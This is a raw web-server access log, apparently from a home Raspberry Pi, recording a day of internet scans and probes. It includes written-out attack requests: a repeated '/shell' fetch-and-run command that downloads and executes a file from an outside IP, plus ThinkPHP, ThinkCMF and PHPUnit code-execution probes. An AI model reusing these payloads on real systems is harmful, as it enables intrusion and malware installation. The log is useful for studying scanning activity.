Mon Jan 27 06:25:06 MST 2020 06:25:06 up 3 days, 10:02, 1 user, load average: 0.45, 0.32, 0.42 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Thu17 3days 2:28 1.31s /usr/bin/lxsession -s LXDE-pi -e LXDE 104.152.52.38 - - [27/Jan/2020:13:57:30 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 116.228.110.108 - - [27/Jan/2020:14:05:19 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 107.180.78.5 - - [27/Jan/2020:14:22:28 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 107.180.78.5 - - [27/Jan/2020:14:22:28 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36" 107.180.78.5 - - [27/Jan/2020:14:22:28 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36" 107.180.78.5 - - [27/Jan/2020:14:22:28 +0000] "POST /Admin0713faa2/Login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36" 213.92.217.50 - - [27/Jan/2020:14:47:35 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 178.128.94.31 - - [27/Jan/2020:14:50:07 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 60.191.66.222 - - [27/Jan/2020:15:18:47 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)" 111.67.197.168 - - [27/Jan/2020:15:27:28 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 111.67.197.168 - - [27/Jan/2020:15:27:28 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 111.67.197.168 - - [27/Jan/2020:15:27:31 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 111.67.197.168 - - [27/Jan/2020:15:27:32 +0000] "POST /Admin0713faa2/Login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 217.60.231.132 - - [27/Jan/2020:15:45:54 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 47.105.52.213 - - [27/Jan/2020:16:08:25 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 54.67.63.35 - - [27/Jan/2020:16:31:56 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36" 88.61.0.93 - - [27/Jan/2020:17:06:52 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 31.217.211.66 - - [27/Jan/2020:17:53:26 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 189.236.187.210 - - [27/Jan/2020:18:31:43 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 195.103.119.26 - - [27/Jan/2020:18:47:36 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 159.203.193.251 - - [27/Jan/2020:18:56:43 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 5.101.0.209 - - [27/Jan/2020:19:14:30 +0000] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 5.101.0.209 - - [27/Jan/2020:19:15:24 +0000] "GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 5.101.0.209 - - [27/Jan/2020:19:15:25 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 5.101.0.209 - - [27/Jan/2020:19:15:53 +0000] "GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 79.171.50.46 - - [27/Jan/2020:20:20:00 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 195.154.92.15 - - [27/Jan/2020:20:38:57 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 142.93.187.70 - - [27/Jan/2020:20:50:09 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 67.22.164.58 - - [27/Jan/2020:21:07:05 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:07:06 +0000] "GET /favicon.ico HTTP/1.1" 200 533 "http://162.250.19.7/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 65.154.226.109 - - [27/Jan/2020:21:07:12 +0000] "GET / HTTP/1.1" 200 25000 "http://www.bing.com/search?q=amazon" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)" 67.22.164.58 - - [27/Jan/2020:21:07:28 +0000] "GET /ac0xl/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:08:00 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:09:01 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:09:01 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:09:08 +0000] "GET /ac0xl/logs/ HTTP/1.1" 200 25000 "http://162.250.19.7/ac0xl/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:09:12 +0000] "GET /ac0xl/logs/2019.07.29 HTTP/1.1" 200 3885 "http://162.250.19.7/ac0xl/logs/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:09:30 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:09:30 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:09:48 +0000] "GET /ac0xl/logs/temp11 HTTP/1.1" 200 114772 "http://162.250.19.7/ac0xl/logs/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:10:18 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:10:40 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:10:40 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:10:50 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:10:50 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:10:56 +0000] "GET /freedom/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:11:11 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:11:12 +0000] "GET /freedom/freedom.zip HTTP/1.1" 200 76173 "http://162.250.19.7/freedom/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:11:15 +0000] "GET /freedom/freedom/ HTTP/1.1" 200 25000 "http://162.250.19.7/freedom/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:11:22 +0000] "GET /freedom/freedom/2010Website.pdf HTTP/1.1" 200 32014 "http://162.250.19.7/freedom/freedom/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:12:26 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 65.154.226.220 - - [27/Jan/2020:21:21:26 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" 65.154.226.220 - - [27/Jan/2020:21:21:29 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3904.70 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:21:36 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:21:36 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:22:52 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:22:52 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:22:58 +0000] "GET /pictures/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:23:56 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:24:01 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:27:14 +0000] "GET /documents/ HTTP/1.1" 200 25000 "http://162.250.19.7/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:27:42 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:27:42 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:27:54 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:27:54 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:28:14 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:28:14 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:28:15 +0000] "GET /ac0xl/logs/temp10 HTTP/1.1" 200 17111 "http://162.250.19.7/ac0xl/logs/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 67.22.164.58 - - [27/Jan/2020:21:28:28 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:28:49 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:28:49 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:29:51 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 67.22.164.58 - - [27/Jan/2020:21:29:51 +0000] "UNKNOWN UNKNOWN" 408 0 "" "" 5.101.0.209 - - [27/Jan/2020:21:40:38 +0000] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 190.122.151.149 - - [27/Jan/2020:23:02:23 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 51.79.29.248 - - [27/Jan/2020:23:10:00 +0000] "UNKNOWN UNKNOWN" 0 0 "" "" 51.79.29.248 - - [27/Jan/2020:23:10:00 +0000] "HEAD /robots.txt HTTP/1.0" 200 0 "" "" 222.186.19.221 - - [27/Jan/2020:23:35:43 +0000] "UNKNOWN HTTP/1.1" 400 0 "" "" 195.154.92.15 - - [28/Jan/2020:00:16:16 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 83.97.20.33 - - [28/Jan/2020:01:11:50 +0000] "GET / HTTP/1.0" 200 25000 "" "" 170.238.36.20 - - [28/Jan/2020:01:31:20 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 103.66.78.111 - - [28/Jan/2020:02:09:34 +0000] "GET / HTTP/1.1" 400 0 "" "" 175.143.117.177 - - [28/Jan/2020:03:06:21 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 172.105.23.36 - - [28/Jan/2020:03:09:50 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 78.187.5.135 - - [28/Jan/2020:03:31:00 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 169.197.108.6 - - [28/Jan/2020:05:14:55 +0000] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 " 2.184.42.182 - - [28/Jan/2020:06:28:44 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 89.248.174.146 - - [28/Jan/2020:06:57:54 +0000] "UNKNOWN HTTP" 400 0 "" "" 188.217.238.230 - - [28/Jan/2020:07:30:13 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 5.189.151.188 - - [28/Jan/2020:07:54:08 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 185.124.117.240 - - [28/Jan/2020:08:38:54 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 192.3.8.162 - - [28/Jan/2020:08:40:02 +0000] "GET / HTTP/1.1" 200 25000 "" "" 193.112.25.97 - - [28/Jan/2020:09:09:10 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 193.112.25.97 - - [28/Jan/2020:09:09:16 +0000] "GET /robots.txt HTTP/1.1" 200 70 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 193.112.25.97 - - [28/Jan/2020:09:09:16 +0000] "POST /Admin0713faa2/Login.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" 198.108.66.224 - - [28/Jan/2020:09:37:20 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 195.154.92.15 - - [28/Jan/2020:09:45:27 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 195.154.92.15 - - [28/Jan/2020:09:48:39 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 223.112.190.70 - - [28/Jan/2020:09:49:16 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 223.112.190.70 - - [28/Jan/2020:09:49:17 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 223.112.190.70 - - [28/Jan/2020:09:49:17 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 223.112.190.70 - - [28/Jan/2020:09:49:18 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 223.112.190.70 - - [28/Jan/2020:09:49:18 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 223.112.190.70 - - [28/Jan/2020:09:49:19 +0000] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 82.115.29.99 - - [28/Jan/2020:10:24:39 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 151.73.208.159 - - [28/Jan/2020:10:28:59 +0000] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 0 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.64.50.202 - - [28/Jan/2020:10:40:12 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 212.64.50.202 - - [28/Jan/2020:10:40:18 +0000] "GET /TP/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:19 +0000] "GET /TP/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:20 +0000] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:21 +0000] "GET /html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:21 +0000] "GET /public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:22 +0000] "GET /TP/html/public/index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:24 +0000] "GET /elrekt.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:25 +0000] "GET /index.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 212.64.50.202 - - [28/Jan/2020:10:40:26 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 202.168.64.24 - - [28/Jan/2020:10:58:27 +0000] "GET / HTTP/1.0" 200 25000 "" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)" 92.255.226.153 - - [28/Jan/2020:11:05:06 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 185.14.251.226 - - [28/Jan/2020:11:25:03 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 94.23.20.187 - - [28/Jan/2020:11:46:35 +0000] "GET / HTTP/1.1" 200 25000 "" "python-requests/2.22.0" 185.156.177.50 - - [28/Jan/2020:12:09:05 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" Tue Jan 28 06:25:06 MST 2020 06:25:06 up 4 days, 10:02, 1 user, load average: 0.38, 0.27, 0.42 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 Thu17 4days 3:03 1.31s /usr/bin/lxsession -s LXDE-pi -e LXDE